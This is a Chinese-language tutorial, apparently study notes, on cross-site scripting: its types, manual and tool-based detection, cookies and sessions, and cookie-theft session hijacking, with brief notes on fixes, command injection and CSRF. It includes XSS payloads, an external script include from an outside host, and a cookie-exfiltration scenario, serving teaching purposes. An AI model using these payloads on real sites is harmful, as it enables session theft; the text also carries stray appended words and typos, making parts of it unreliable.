XSS又叫CSS(Cross Site Scripting),即跨站腳本攻擊,是最多見的Web應用程序安全漏洞之一。php
XSS是指攻擊者在網頁中嵌入客戶端腳本,一般是JavaScript編寫的惡意代碼,當用戶使用瀏覽器瀏覽嵌入惡意代碼的網頁時,惡意代碼將會在用戶的瀏覽器上執行數據庫
7.一、XSS原理解析瀏覽器
若是想要深刻研究XSS,必需要精通JavaScript。安全
當輸入<script>alert(//xss)</script>時,將觸發XSS攻擊。服務器
攻擊者能夠在<script>與</script>之間輸入JavaScript代碼,實現一些特殊效果。cookie
在真實的攻擊中,攻擊者通常不只僅彈出一個框,網絡
一般使用<script src="http://www.secbug.org/x.txt"></script>方式來加載外部腳本,dom
而在x.txt中存放着攻擊者的惡意JavaScript代碼,這段代碼多是用來盜取用戶的Cookie,xss
也多是監控鍵盤記錄等惡意行爲。函數
注:JavaScript加載外部的代碼文件能夠是任意擴展名的(無擴展名也是能夠的),
如<script src=「http://www.secbug.org/x.jpg」></script>,即便文件爲圖片擴展名x.jpg,
但只要其中包含JavaScript代碼就會被執行。
7.二、XSS類型
反射型、存儲型、DOM型
7.2.一、反射型XSS
反射型XSS也被稱爲非持久性XSS,是如今最容易出現的一種XSS漏洞。
反射型xss和dom-xss都須要在url加入js代碼纔可以觸發。
當用戶訪問一個帶有XSS代碼的URL請求時,服務器端接收數據後處理,而後把帶有XSS代碼的數據發送到瀏覽器,瀏覽器解析到這段帶有XSS代碼的數據後,最終形成XSS漏洞。
function getCookie(cname) { var name = cname + "="; var ca = document.cookie.split(';'); for(var i=0; i<ca.length; i++) { var c = ca[i].trim(); if (c.indexOf(name)==0) return c.substring(name.length,c.length); } return ""; }
如下是攻擊者利用反射型XSS漏洞能夠以HIM身份登陸網站,可能的步驟
一、用戶HIM是網站www.secbug.org的忠實粉絲,常常泡站內論壇
二、攻擊者發現www.secbug.org/xss.php存在反射型XSS漏洞,而後精心狗仔JavaScript代碼,來獲取用戶的Cookie發送到指定的站點www.xxser.com。
三、攻擊者將帶有反射型XSS漏洞的URL經過站內信發給用戶HIM,站內信爲一些誘惑信息,目的是爲了讓後湖HIM點擊連接。
四、假設用戶HIM點擊了帶有XSS漏洞的URL,那麼僵會把本身的COOkie以HIM的身份登陸www.xxser.com。
五、攻擊者接收到用戶HIM的會話Cookie,能夠直接利用Cookie以HIM的身份登陸www.secbug.org,,從而得到用戶HIM的敏感信息。
7.2.二、存儲型XSS
存儲型XSS又被稱爲持久性XSS,存儲型XSS是最危險的一種跨站腳本,存入了數據庫,再取出來,致使的xss
容許用戶存儲數據的Web應用程序均可能會出現存儲型XSS漏洞,當攻擊者提交一段XSS代碼後,被服務器接收並存儲,當攻擊者再次訪問某個頁面時,這段xss代碼被程序讀出來響應給瀏覽器,形成XSS跨站攻擊,這就是存儲型XSS。存儲型XSS與反射型XSS和DOM型XSS的最大區別在於,不須要依靠用戶手動去觸發執行。
存儲型XSS場景
在測試是否存在XSS時,首先須要肯定輸入點和輸出點,例如,咱們要在留言內容上測試XSS漏洞,首先就要去尋找留言內容輸出的地方是在標籤內仍是在標籤屬性內,或者在其餘地方,若是輸出的數據在屬性內,那麼XSS代碼是不會被執行的,如:
<input type="text" name="content" value="<script>alert(1)</scritp>"/>
以上JavaScript代碼雖然成功的插入到HTML中,但卻沒法執行,由於XSS代碼出如今value屬性中,被當作值來處理,最終瀏覽器解析HTML是,將會把數據以文本的形式輸出在網頁中。
知道了輸出點以後就能夠根據相應的標籤狗仔HTML代碼來閉合,插入XSS代碼: "/><script> alert(1)</script>,最終在HTML中文檔爲:
<input type="text" name="content" value=""/ ><script>alert(1)</scritp>"/>
模糊測試方案
<script>alert(document.cookie)</script>
"/><script>alert(document.cookie)</script>
</ttextarea>'"<script>alert(document.cookie)</script>
DOM型XSS
全稱爲Document Object Model,即文檔對象模型,DOM一般用於表明在HTML、XHTML、XML中的對象。DOM提供HTML文檔中全部的元素的位置,提供文檔結構化表示,而且定義瞭如何經過腳原本訪問文檔結構。
他也屬於反射型xss的一種(2016.3.16修改,domxss取決於輸出位置,並不取決於輸出環境,所以domxss既有多是反射型的,也有多是存儲型的),簡單去理解就是由於他輸出點在DOM,因此在道哥的《白帽子講Web安全裏》也有詳細介紹。dom - xss是經過url傳入參數去控制觸發的。)
DOM規定以下:
整個文檔是一個文檔節點;
每一個HTML標籤是一個元素節點;
包含在HTML元素中的文本是一個文本節點;
每個HTML屬性是一個屬性節點;
節點與節點之間都有等級關係。
7.三、檢測XSS
7.3.一、人工檢測
考慮哪裏有輸入,輸入的數據在什麼地方輸出。
手工檢測注意選擇有特殊意義的字符,這樣可以快速檢測是否存在XSSS。
在測試某輸入框是否存在XSS漏洞時,不要直接輸入XSS跨站語句測試,應該一步一步地進行,這樣更有利於測試:
一、得知輸出位置
輸入一些敏感字符,例如 < > " ' ( )等,在提交請求後,看HTML源代碼,看這些輸入是否被轉義。
二、沒法得知輸出位置
在<div>標籤:<div>XSS Test </div>
在<input>標籤:<input type="text" name="content" value="XSS Test"/>
這種狀況,一般會採用輸入 "/> XSS Test 來測試
7.3.二、全自動檢測XSS
利用工具進行檢測,如Burp Suite 等,也有專門的XSSER、XSSF進行掃描。
7.四、XSS高級利用
危害:
盜取用戶Cookie
修改頁面內容
網站掛馬
利用網站重定向
XSS蠕蟲
7.4.一、XSS會話劫持
一、Cookie簡介
Cookie是可以讓網站服務器把少許文本數據存儲到客戶端的硬盤、內存,或是從客戶端的硬盤、內存讀取數據的一種技術。
HTTP是無狀態的,Web服務器沒法區分請求是否來自同一個瀏覽器,,Cookie是Web服務器用於標識用戶、維護會話。
當你瀏覽某個網站是,該網站可能向你的電腦硬盤寫入一個文件,記錄你的ID、密碼、停留時間等信息,這個文件就是Cookie,
當你第二次訪問這個網站時,瀏覽器會自動檢測你的硬盤,並將存儲在本地的Cookie發送給網站,這樣網站能夠作出響應的動做,、
如,自動登陸登。
Cookie按照在客戶端的存儲位置,分爲內存Cookie和硬盤Cookie。內存Cookie由瀏覽器維護,保護在內存中,瀏覽器關閉後消失。
硬盤Cookie保存在硬盤裏,有一個過時時間,除非用戶手動清理或到了過時時間,不然硬盤Cookie不會被刪除,其存儲時間是長期的,
因此Cookie也能夠分爲持久Cookie和非持久Cookie。
一個用戶電腦上的Cookie可能存在多個,他們分別存儲來自不一樣網站的信息。
Cookie也存在限制,大多數瀏覽器支持最大4096B的Cookie,這樣就限制了Cookie的大小最多也就只能在4K左右。
大多數瀏覽器只容許每一個站點存儲20個Cookie,若是試圖存儲更多,則最舊的Cookie便會被丟棄。有些瀏覽器還會對全部站點的Cookie總數作出絕對限制,一般爲300個。
二、Cookie格式
Cookie是一組K,V形式。
Set-Cookie:HTTP響應頭,Web服務器經過此HTTP頭向客戶端發送Cookie
name=value:這是每一個Cookie均有的部分,用戶能夠經過name獲取Cookie中存放的value,在字符串「name=value」中不存在分號,逗號和空格等字符;
expires=date:Expires肯定了Cookie的有效終止日期,且屬性值date必須以特定的格式來書寫「星期幾,DD-MM-YY HH:MM:SS GMT」,其中GMT指格林尼治時間。
該變量可省,若是缺省,則COokie的屬性值不會保存在用戶的磁盤中,僅僅是保存在內存裏,Cookie將隨瀏覽器的關閉而消失。
domain=domain-name:Domain變量肯定了哪些Internet域中的Web服務器能夠讀取瀏覽器存儲的Cookie,即只有來自這個域的頁面才能使用Cookie中的信息。
若是缺省,值爲改Web服務器的域名。
path=path:Path屬性定義了Web服務器上那些路徑下的頁面能夠獲取服務器發送過來的Cookie。若是過Path屬性值爲「/」,則Web服務器上全部的WWW資源都可讀取該Cookie。
若是缺省,值爲Web服務器傳給瀏覽器的資源路徑名。
經過domain和path兩個變量的設置,能夠有效的控制Cookie文件被訪問的範圍。
Secure:在Cookie中標記該變量,代表只有當瀏覽器和Web Server之間通信協議爲加密認證協議時,瀏覽器才向服務器提交相應的Cookie,當前只有HTTPS協議屬於這種狀況。
HttpOnly:禁止JavaScript讀取。
Cookie信息通常都是加密的,普通用戶看到只是一些毫無心義的字符串。
三、讀寫Cookie
HTTP的響應頭:Set-Cookie頭
四、JavaScript操做Cookie
經過Burp Suite攔截請求後,替換請求中的Cookie
或者經過Chrome的Console替換Cookie
五、SESSION
SESSION在計算機中,尤爲是網絡引用,被稱爲會話。
SESSION機制是一種服務器端的機制,服務器使用一中相似於散列表的結構表來保存信息。
Web中的SESSION是指用戶在瀏覽某個網站時,從進入網站到瀏覽器關閉所通過的這段時間,也就是一次客戶端與服務器端的對話,被稱爲SESSION,當關閉瀏覽器後,SESSION懂註銷。
SEESION與Cookie的區別:Cookie將數據存儲在客戶端,SESSION將數據存儲在服務端,僅僅在客戶端存儲一個ID。
7.五、修復XSS跨站漏洞
XSS跨站漏洞最終造成的緣由是對輸入與輸出沒有嚴格的過濾,在頁面執行JavaScript等客戶端腳本。
7.5.二、HttpOnly
對防護XSS漏洞不起做用,主要是爲了解決XSS漏洞後續的Cookie劫持攻擊。
命令行漏洞
儘可能不要使用系統執行命令
在進入命令行函數/方法以前,變量必定要作好過濾,對敏感字符進行轉義
在使用動態函數以前,確保使用的函數是指定的函數之一。
對PHP語言來講,不能徹底控制的風險函數最好不要使用。
在防範以前確保輸入是否可控。
文件包含漏洞
程序人員一般會把重複使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無再次編寫,這種調用文件的過程通常會成爲包含。
其餘漏洞
CSRF(Cross-Site Request Forgery):跨站請求僞造,也稱爲One Click Attack或Session Riding
如何理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義進行某些非法的操做。
CSRF攻擊創建在瀏覽器與Web服務器的會話中;
欺騙用戶訪問URL